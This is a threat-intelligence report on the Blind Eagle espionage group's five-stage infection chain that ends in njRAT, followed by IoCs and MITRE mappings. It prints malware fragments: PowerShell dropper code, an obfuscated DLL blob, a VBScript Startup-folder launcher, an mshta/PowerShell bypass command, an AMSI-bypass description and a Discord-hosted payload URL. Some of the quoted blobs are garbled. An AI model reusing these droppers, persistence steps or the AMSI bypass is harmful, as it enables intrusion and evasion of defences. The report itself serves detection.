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Introduction

The Blind Eagle APT group is a threat actor group that is believed to be involved in cyber espionage activities. The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing. In this report, we will examine Blind Eagle's multi-stage attack chain and provide indicators of compromise (IoCs) that can be used to detect and defend against the group's attacks.

Who Is Blind Eagle?

Blind Eagle (aka APT-C-36) is a suspected South America espionage group that has been active since at least 2018. The group is known for using a variety of sophisticated attack techniques, including custom malware, social engineering tactics, and spear-phishing attacks. They have also been observed using exploits for zero-day vulnerabilities in their attacks.



First Stage: Javascript Downloader

In the first stage, a javascript downloader is used. The code below which is written in Javascript uses ActiveXObject to run PowerShell commands.

Additionally, Blind Eagle abuses Discord CDNs to store the next stage script. Powershell command above downloads the "cacha.pdf" named ps1 script from "hxxp://cdn.discordapp[.]com/attachments/940363101067411527/946390049979781130/cac ha.pdf" then executes the script.

Second Stage: Powershell Script

We have a Powershell Script with a length of 673.993. Execution starts with loading a DLL into memory from an obfuscated and Base64 encoded string.

```
if($ING -eq 10){
$G00 =
vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJ\\\\\\BQRQ\\T\ED\JrI
\B\\\\\\G\\\\\\\C\\\\\g\\\\\M\YIU\\B\\\B\\\\\
\d\w\\\g\\\Dg\\\I\\\\\E\E
HK\Q\\\YNCX4B\\\EjmlqKBM\\\ofQBIEK\Y\\\YmfgE\\\QWCX4B\\\E
\CigX\N\De\Co\R\N\N\QCDh\QEQ\NSICKBk\No\KlIXjRU\
\\PoBMw\W\\\B\\\\Gw\\\\U\\\\D\\\\Bw\\\\c\\\\Z\\\\Dw\\\\E\
\h\G\w8\0gM\\Y\r\E+\wY\MwI+\wY\F\I+\wY\p\I+\wY\c\I+\wY\
\UQE3\wY\5wJZB\Y\2wI3\wY\7\Oy\wY\bwQ3\wY\FgE3\wY\e\M3\wY\
```

This is a DLL file, portable executable, written in .NET.

```
00000000 4D 5A 90 00 03 00 00 04 00 00 00 FF FF 00 00
                                             Mz.....ÿÿ...
                                             00000010 B8 00 00 00 00 00 00 40 00 00 00 00 00 00
00000040 OE 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68
                                             ..°..´.Í!,.LÍ!Th
00000050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F
                                             is program canno
00000060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
00000070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00
                                             mode....$.....
00000080 50 45 00 00 4C 01 03 00 9A C8 49 C9 00 00 00 PE..L...šÈIÉ....
00000090 00 00 00 00 E0 00 22 20 0B 01 30 00 00 0E 00 00
                                             ....à." ..0.....
000000A0 00 08 00 00 00 00 00 56 2C 00 00 00 20 00 00
                                             000000B0 00 40 00 00 00 00 10 00 20 00 00 02 00 00 .@.....
```

As you see in the pictures above, the Powershell script calls method **Bypass()** from the DLL. This method is simply an AMSI (AntiMalware Scan Interface) bypasser.

If the bypass is successful, the method outputs the message "bypass" to the console. If there is any exception during the execution, the method catches it and outputs the exception message and its inner exception to the console.

We are back to our Powershell script. It checks the registry for HKCU:\software\wow6432node\Microsoft\WindowsUpdate key. If it is not present then it creates the key and sets an obfuscated value without deobfuscating it.

Then it drops 2 files. First one is a Powershell script named *myScript.ps1* and the second one is a batch file named *SystemLogin.bat*.

```
lcnJpdG9yaW9EaXN0cm10YWx1bnJ1YXN1cmJhbmFzeXJ1cmFsZXNtLWFsamdoaXBkZmVqZmR4YXNmICRTTk9STEFYDQoNCq=="
FUNCTION D4FD5C5B9266824C4EEFC83E0C69FD3FAA($D4FD5C5B9266824C4EEFC83E0C69FD3FAAE)
 $D4FD5C5B9266824C4EEFC83E0C69FD3FAAG = [Text.Encoding]::Utf8.GetString([Convert]::$a($D4FD5C5B9266824C4EEFC83E0C69FD3FAAE))
 return $D4FD5C5B9266824C4EEFC83E0C69FD3FAAG
$Content = D4FD5C5B9266824C4EEFC83E0C69FD3FAA($Base64)
Set-Content -Path $env:PUBLIC\myScript.ps1 -Value $Content
Function MEME() {
   $GOKU = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String(
    pJXpnYm15dWs1cCV0Z211Zm54JXQ1Z2NuaXhuaiU6JXV6ZXRwbnUlRSVhd3V5bXRwJXg1cXRnZHVxbyV1JXFrdm9rZHg1YyV5dHZyYM1tJXU1Yr
   iJwxybmJ1aXg1QyVic2hhdmZpJXI1a2hjbndqdiVlJWtrZ2Fyd2slYSVlZnJ3ZXBtJXQld25zdndrdiVlJXV3YWZ2emYlTyVnYmljemFtJWl1Z
   0JWdmbXF1bmIlKCVyZ3JhcHBpJSIlZXlqdm9waiUiJWp4dmR3eHElVyVxcWRwYWRhJVMlZXpvYW1jZyVjJWZsdXNqb2UlciV4bWtrYWpjJWklaV
   TJWp2YWJ4a3UlacVweHB4bnJ6JWUlemlicXZ1YyVsJXFuemNmcWwlbCVrZWNlempkJSIlbmR0dHJ0diUiJXpkY2FidXM1KSV3enpuZmtpJS4ld
   gJW51eHlwZ3IlIiVwaHdnenNlJSIlZHZnaGdxayVwJWdmcXdyYXglbyVudXFwY2d3JXclbHVxcHB2bSVlJXVudHZpemslciVkcgRsb2RlJXMlc(
   \ddot{	ext{sym}}symanNsdWYlICV3c3JscWtmJs0lb2thdXVma\ddot{	ext{1}}VFJXdxc2R\ddot{	ext{0}}a2\ddot{	ext{4}}le\ddot{	ext{C}}VyZG5udWN1JWUlbGR5emJ2aCVjJXl6eW5\ddot{	ext{0}}ddnQldSVseHF4bXZ1JXQlcr
   zJWFjdHBndHolxCVraGdzdXdzJVAlZ3llcGVueSVIJWxieXJldnAlYiVhc2lmdHRlJWwlaHZiYmp6aiVpJXlxcmRndnklYyVpa2xnYnl2JVwlYi
   sJWhizXhibnElICVpaWx5ZXlkJTAlZnViYndveiU6JWF5cGJsZ2wlYyV4eHpld3diJWwlb3FkcWlzcCVvJWdobXlybnQlcyVvbmVpcHn4JWUlar
   gcnNoZWtgJSVnemp1Y2F1JQ=='))
   [System.IO.File]::WriteAllText(([Environment]::GetFolderPath('ApplicationData') + "\SystemLogin.bat"), $GOKU)
```

MEME

Finally, it places a VBScript named *Login1.vbs* in the Startup folder, which will be executed automatically when the system starts. Subsequently, the script is executed.

Third Stage: VBScript Located in the Startup

The VBScript located in the Startup folder executes the SystemLogin.bat which was dropped previously.

```
Set objShell = WScript.CreateObject("WScript.Shell")

appDataLocation=objShell.ExpandEnvironmentStrings("%APPDATA%")
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & appDataLocation & "\SystemLogin.bat" & Chr(34), 0
Set WshShell = Nothing
```

Fourth Stage: Obfuscated Batch Script

Deobfuscated form of the batch script below is:

```
Unset
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run
""powershell -ExecutionPolicy Bypass &
'C:\Users\Public\myScript.ps1'"", 0:close")
```

So it executes the myScript.ps1 which was dropped previously from Powershell script.

```
%omzcrfb%m%txfltnc%s%cphrmra%h%lrrhsvu%t%xggoiww%a%ynnpmij%-%vadsdye%v%rersspq%b
%hrxnomv%s%fvghtcv%c%wmopyxz%r%esgzwcd%i%zgbiyuk%p%tgmufnx%t%gcnixnj%:%uzetpnu%E
%awuymtp%x%qtgduqo%e%qkvokdx%c%ytvrbim%u%bfwcosy%t%vkpinlw%e%jurpbkb%(%dgvccdj%"
%lrnbuix%C%bshavfi%r%khcnwjv%e%kkgarwk%a%efrwepm%t%wnsvwkv%e%uwafvzf%O%gbiczam%b
%ewknrpr%j%mqiwwub%e%lontxif%c%elvsvdt%t%gfmqunb%(%rgrappi%"%eyjvopj%"%jxvdwxq%W
%qqdpada%S%ezoamcg%c%flusjoe%r%xmkkajc%i%iehkjlp%p%skuoyoi%t%pbskieo%.%tdmminf%S
%jvabxku%h%pxpxnrz%e%zibqvuc%l%qnzcfql%l%kecezjd%"%ndttrtv%"%zdcabus%)%wzznfki%.
%uptefzc%R%awqtogs%u%aqmxwtm%n%kooujxv% %nexypgr%"%phwgzsu%"%dvghgqk%p%gfqwrax%o
%nuqpcgw%w%luqppvm%e%untvizk%r%dpdlode%s%pdssfeg%h%qkzuiqt%e%nxpxzgp%l%ibdxpya%l
%zpjsluf% %wsrlqkf%-%okauufj%E%wqsdtkn%x%rdnnucu%e%ldyzbvh%c%yzyntvt%u%lxqxmve%t
%rugdicz%i%hrsirzy%o%ihhsglh%n%qrhvxqw%P%tdihkai%o%mhbmkug%l%icicmlx%i%vdhgylt%c
%doygqqh%y%zaymghd%%joszhkr%B%jswncxf%y%vcdbayw%p%oleassf%a%mtmkrip%s%yzuhviw%s
%wtwroxc% %lyzihvx%&%dlzytqp% %ctlfhep% %ycyvqvl%C%jedfmys%:%wwvzkxu%\%iflqhyl%U%
inouwlk%s%wwafikq%e%xjqwfwo%r%wuaxlky%s%actpqtz%\%khqsuws%P%qyepeny%u%lbyrevp%b%
asmftte%1%hvbbjzj%i%yqrdgvy%c%iklgbyv%\%cbojvrn%m%mljfcur%y%raneycc%S%owlrcts%c%
mneibhm%r%stbxkod%i%snybsbw%p%blaygff%t%ebjdlpc%.%geilwae%p%bdxursg%s%xdcaojh%1%
fsctzoh%'%drculdw%"%mkfaehu%"%vmpgklo%,%hbexbng%%iilyeyd%0%fubbwoz%:%aypblql%c
%xxzewwb%l%oqdqmsp%o%ghmyrnt%s%oneipsx%e%jazrrke%"%jlolmxd%)
%pxkrped%%kfgkxwa%%jrshekj%%gzjucau%
```

Fifth Stage: Final Powershell Script leads to NjRAT

First it loads the same AMSIBypasser DLL into memory and calls the same method in the second stage. Then it loads a second DLL which is AES256 Decryptor, it decrypts the contents of the *HKCU:\software\wow6432node\Microsoft\WindowsUpdate* Registry Key which was previously written. The "5456846176463687555" passphrase is used to create the decryption key.

Decrypted content is a new Powershell script which leads to **njRAT**. **njRAT**, also known as **Bladabindi** is a remote access tool (RAT) with user interface or trojan which allows the holder of the program to control the end-user's computer.

YARA RULE

Indicators Of Compromise

TYPE	VALUE
SHA256	d10a6df70ccbd813af1614eecf8da1485cbb45889ab6a87b410dee10e98fcfbf
SHA256	e8ba5871d6005a6b63ec510869baab3e2a485e3d63d7526f19a38af0eac834ac
SHA256	93ce9e3b4c9eea7ed5f36512e884fcfb516d1f764b5c28a47542062a6f303bb9
URL	hxxps://cdn.discordapp.com/attachments/940363101067411527/94639004997978 1130/cacha.pdf
IP	febenvi[.]duckdns.org:2050

MITRE ATT&CK

ATT&CK NAME	ATT&CK ID
Powershell	T1059.001
Scripting	T1064
Startup Folder	T1547.001
Process Injection	T1055
Masquerading	T1036
Sandbox Evasion	T1497
Application Layer Protocol	T1071